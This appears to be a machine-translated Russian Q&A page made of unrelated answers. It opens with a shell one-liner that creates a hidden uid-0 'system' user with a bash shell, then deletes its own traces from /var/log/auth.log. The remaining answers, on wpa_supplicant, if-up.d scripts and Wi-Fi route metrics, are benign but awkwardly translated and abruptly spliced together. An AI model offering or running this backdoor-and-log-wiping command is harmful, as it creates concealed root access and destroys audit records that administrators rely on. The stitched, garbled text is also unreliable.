Вот один лайнер:
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
Лучший,
Я утверждение второго womble, что wpa_supplicant является неправильным местом, чтобы сделать это. Вы хотите настроить что-то в/etc/network/поддереве, возможно, как womble предполагает путем увеличения метрики маршрута Wi-Fi, или возможно некоторыми другими средствами, вовлекающими пользовательский сценарий в/etc/network/if-up.d/, который удалил бы интерфейс Wi-Fi, если бы интерфейс Ethernet подошел.
Информация о создании сценариев для/etc/network/if-up.d/находится на странице справочника интерфейсов под разделом 'IFACE OPTIONS'.
Вы уверены, что wpa_supplicant - то, с чем Вы хотите играть сделать это? Это действительно только для аутентификации соединений WPA, не делая обнаружения состояния канала и остальной части его.
Лично, я даже не потрудился бы отключать Wi-Fi, я буду просто иметь действие с интерфейсом Wi-Fi, который дал, это - маршрут более высокая метрика, так, чтобы, если бы проводной интерфейс был, он был бы предпочтен. Что-то вроде этого должно добиться цели (предполагающий, что Ваша LAN является 192.168.10.0/24):
iface home inet dhcp
[usual WPA guff here]
up route del -net 192.168.10.0 netmask 255.255.255.0
up route add -net 192.168.10.0 netmask 255.255.255.0 metric 1
При выполнении автоматического обнаружения смысла ссылки я понятия не имею о; я обычно не хочу свои сетевые интерфейсы, делающие материал, о котором я не знаю, таким образом, я никогда не изучал его.